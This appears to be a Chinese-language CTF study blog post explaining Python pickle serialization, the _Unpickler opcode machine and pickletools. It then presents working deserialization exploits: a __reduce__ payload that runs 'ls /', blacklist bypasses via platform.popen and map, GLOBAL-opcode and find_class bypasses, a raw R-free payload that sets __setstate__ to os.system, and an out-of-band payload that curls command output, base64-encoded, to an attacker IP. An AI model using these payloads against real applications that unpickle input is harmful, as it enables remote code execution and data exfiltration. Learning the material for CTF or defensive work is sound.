pickle反序列化
pickle反序列化
Kn1ght0x00 Pickle作用:序列化、反序列化
笔记参考:https://zhuanlan.zhihu.com/p/89132768
序列化(Serialization)
序列化是指将 Python 对象转换为字节流的过程。pickle
模块提供了 dump
和 dumps
两个函数来实现序列化。
**pickle.dump(obj, file)**
:将对象obj
序列化并写入到文件对象file
中。**pickle.dumps(obj)**
:将对象obj
序列化为字节流并返回。
示例1:使用pickle.dumps
1 | import pickle |
输出为:
1 | b'\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00]\x94(M\x15\x03\x8c\x03GYL\x94G@]\x87\x8dO\xdf;dMx\x03\x86\x94}\x94\x8c\x04name\x94\x8c\x03gyl\x94se.' |
示例2:使用pickle.dump
1 | import pickle |
输出为:
1 | 数据已成功序列化并保存到文件中 |
反序列化(Deserialization)
反序列化是指将字节流转换回 Python 对象的过程。pickle
模块提供了 load
和 loads
两个函数来实现反序列化。
**pickle.load(file)**
:从文件对象file
中读取字节流并反序列化为 Python 对象。**pickle.loads(bytes_object)**
:从字节流bytes_object
中反序列化为 Python 对象。
示例1:使用 pickle.loads
1 | import pickle |
输出为:
1 | [789, 'GYL', (118.118, 888), {'name': 'gyl'}] |
示例2:使用 pickle.load
1 | import pickle |
输出为:
1 | [789, 'GYL', (118.118, 888), {'name': 'gyl'}] |
另外有一点需要注意:对于我们自己定义的class,如果直接以形如date = 20241111
的方式赋初值,则这个**date**
不会被打包!解决方案是写一个__init__
方法, 也就是这样:
1 | import pickle |
输出为:
1 | b'\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x05dairy\x94\x93\x94)\x81\x94.' |
0x01 pickle.loads机制:调用_Unpickler类
pickle.loads是一个供我们调用的接口。其底层实现是基于_Unpickler
类。代码实现如下:
可以看出,_load
和_loads
基本一致,都是把各自输入得到的东西作为文件流,喂给_Unpickler
类;然后调用_Unpickler.load()
实现反序列化。
所以,接下来的任务就很清楚了:读一遍_Unpickler
类的源码,然后弄清楚它干了什么事。
0x02 _Unpickler类
_Unpickler
类是 pickle
模块中用于反序列化的内部类。它负责从字节流中解析和重建 Python 对象
下面是简化的_Unpickler类实现代码:
1 | import io |
(我运行这代码老是报错)
您可以想象,一台机器读取我们输入的字符串,然后操作自己内部维护的各种结构,最后吐出来一个结果——这就是我们莫得感情的_Unpickler
。为了研究它,也为了看懂那些乱七八糟的字符串,我们需要一个有力的调试器。这就是pickletools
。
0x03 pickletools:良心调试器
pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。
反汇编:
1 | import pickle |
输出结果:
优化:
1 | import pickle |
输出结果:
可以看到优化后的结果比优化前的简洁了好多
而且反汇编结果中,BINPUT
指令没有了。所谓“优化”,其实就是把不必要的PUT
指令给删除掉。这个PUT
意思是把当前栈的栈顶复制一份,放进储存区——很明显,我们这个class并不需要这个操作,可以省略掉这些PUT
指令。
利用pickletools,我们能很方便地看清楚每条语句的作用、检验我们手动构造出的字符串是否合法……总之,是我们调试的利器。
0x04 反序列化机器
pickle构造出的字符串,有很多个版本。在pickle.loads时,可以用Protocol参数指定协议版本,一共有6个版本,0-5,各个版本的运行结果如下:
字符串中包含了很多条指令。这些指令一定以一个字节的指令码(opcode)开头;接下来读取多少内容,由指令码来决定(严格规定了读取几个参数、参数的结束标志符等)。指令编码是紧凑的,一条指令结束之后立刻就是下一条指令。
下面以文章中版本号为3的结果为例:
字符串的第一个字节是\x80
(这个操作符于版本2被加入)。机器看到这个操作符,立刻再去字符串读取一个字节,得到x03
。解释为“这是一个依据3号协议序列化的字符串”,这个操作结束。
机器取出下一个字符作为操作符——c
。 这个操作符(称为GLOBAL操作符)对我们以后的工作非常有用——它连续读取两个字符串module
和name
,规定以\n
为分割;接下来把module.name
这个东西压进栈。那么现在读取到的两个字符串分别是__main__
和Student
,于是把__main__.Student
扔进栈里。
文章中还有个要点:
注:GLOBAL操作符读取全局变量,是使用的find_class
函数。而find_class
对于不同的协议版本实现也不一样。总之,它干的事情是“去x
模块找到y
”,y
必须在x
的顶层(也即,y不能在嵌套的内层)。
具体的我也不是很懂
下面就读取到了)
这个操作符。
文章中是这么说它的作用的:
1 | 它的作用是:从栈中先弹出一个元素,记为args;再弹出一个元素,记为cls。接下来,执行cls.__new__(cls, *args) ,然后把得到的东西压进栈。说人话,那就是:从栈中弹出一个参数和一个class,然后利用这个参数实例化class,把得到的实例压进栈。 |
面的操作全都执行完了之后,栈里面还剩下一个元素——它是被实例化了的Student
对象,目前这里面什么也没有,因为当初实例化它的时候,args
是个空的数组。
程序现在读入了一个}
,它的意思是“把一个空的dict压进栈”。然后是MARK
操作符,这个操作符干的事情称为load_mark
:
- 把当前栈这个整体,作为一个list,压进前序栈。
- 把当前栈清空。
1 | 讲到这里,我们不得不介绍另一个操作——pop_mark。它没有操作符,只供其他的操作符来调用。干的事情自然是load_mark的反向操作: |
1 | 现在我们看到了u操作符。它干这样的事情: |
注:
1 | 这里更新实例的方式是:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.__dict__ 里面。 |
1 | 上面的事情干完之后,当前栈里面只剩下了一个实例——它的类型是__main__.Student,里面name值是rxz,grade值是G2。下一个指令是.(一个句点,STOP指令),pickle的字符串以它结尾,意思是:“当前栈顶元素就是反序列化的最终结果,把它弹出,收工!” |
注:
1 | 使用pickletools.dis分析一个字符串时,如果.执行完毕之后栈里面还有东西,会抛出一个错误;而pickle.loads没有这么严格的检查——它会正常结束。 |
通过上面的例子,模拟了运行过程,但是对于堆栈,压栈这些操作还不是很理解
0x05 reduce: (曾经的)万恶之源
在CTF比赛中,我第一次接触pickle反序列化的题目应该是在SHCTF-week2的一道题目
这类题型大多数都是在_reduce_
方法上,它的指令码为R
,他的作用文中是这样说的:
1 | 取当前栈的栈顶记为args,然后把它弹掉。 |
文章中介绍了一种流行的攻击思路:
1 | 利用 __reduce__ 构造恶意字符串,当这个字符串被反序列化的时候,__reduce__会被执行。网上已经有海量的文章谈论这种方法,所以我们在这里不过多讨论。只给出一个例子:正常的字符串反序列化后,得到一个Student对象。我们想构造一个字符串,它在反序列化的时候,执行ls /指令。 |
代码和运行结果如下:
得到payload:
1 | import pickle |
放到Student类里面没有__reduce__
方法的程序中:
代码如下:
1 | import pickle |
由于windows无法识别linux命令,所以会出现报错
放到kali虚拟机里面运行报错说是没有nt这个模块,而nt这个模块是windows中特有的模块
最后放到探姬姐姐的虚拟机里面运行一下:
可以看到成功执行了ls /的命令
那么,如何过滤掉reduce呢?由于__reduce__
方法对应的操作码是R
,只需要把操作码**R**
过滤掉就行了。这个可以很方便地利用pickletools.genops
来实现。
看了这么多,下面才是重点
0x06 绕过函数黑名单
有一种过滤方式:不禁止R
指令码,但是对R
执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python’s-Revenge。给了好长好长一串黑名单:
1 | black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen] |
但是platform.popen()
不在黑名单中
另外一种方法是利用map:
1 | class Exploit(object): |
禁止__reduce__的最稳妥的方法是禁止R
指令
0x07 全局变量包含:c
指令码的妙用
有这么一道题,彻底过滤了R
指令码(写法是:只要见到payload里面有R
这个字符,就直接驳回,简单粗暴)。现在的任务是:给出一个字符串,反序列化之后,name和grade需要与blue这个module里面的name、grade相对应。
如何用c
指令来换掉这两个字符串呢?以name的为例,只需要把硬编码的rxz
改成从blue
引入的name
,写成指令就是:cblue\nname\n
。把用于编码rxz
的X\x03\x00\x00\x00rxz
替换成我们的这个global指令,来看看改造之后的效果:
这一步就是把序列化之后的字符串中的X\x03\x00\x00\x00rxz
改成cblue\nname\n
pickle.loads一下应该是上图所示的样子
注:由于pickle导出的字符串里面有很多的不可见字符,所以一般都经过base64编码之后传输。
0x08 绕过c
指令module
限制:先读入,再篡改
1 | 之前提到过,c指令(也就是GLOBAL指令)基于find_class这个方法, 然而find_class可以被出题人重写。如果出题人只允许c指令包含__main__这一个module,这道题又该如何解决呢? |
1 | payload = b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.' |
0x09 不用reduce,也能RCE
1 | 之前谈到过,__reduce__与R指令是绑定的,禁止了R指令就禁止了__reduce__ 方法。那么,在禁止R指令的情况下,我们还能RCE吗?这就是本文研究的重点。 |
这里的实现方式也就是上文的注所提到的:如果inst
拥有__setstate__
方法,则把state
交给__setstate__
方法来处理;否则的话,直接把state
这个dist
的内容,合并到inst.__dict__
里面。
它有什么安全隐患呢?我们来想想看:Student
原先是没有__setstate__
这个方法的。那么我们利用{'__setstate__': os.system}
来BUILE这个对象,那么现在对象的__setstate__
就变成了os.system
;接下来利用"ls /"
来再次BUILD这个对象,则会执行setstate("ls /")
,而此时__setstate__
已经被我们设置为os.system
,因此实现了RCE.
payload:
1 | payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb.' |
有一个可以改进的地方:这份payload由于没有返回一个Student,导致后面抛出异常。要让后面无异常也很简单:干完了恶意代码之后把栈弹到空,然后压一个正常Student进栈。payload构造如下:
payload:
1 | payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.' |
0x10 一些细节
1 | 一、其他模块的load也可以触发pickle反序列化漏洞。例如:numpy.load()先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞。 |
例子:
1 | payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl 47.***.***.105/`ls / | base64`\nb.' |
pickle.loads()
时,ls /
的结果被base64编码后发送给服务器(红框);我们的服务器查看日志,就可以得到命令执行结果。因此,在没有回显的时候,我们可以通过curl
把执行结果送到我们的服务器上。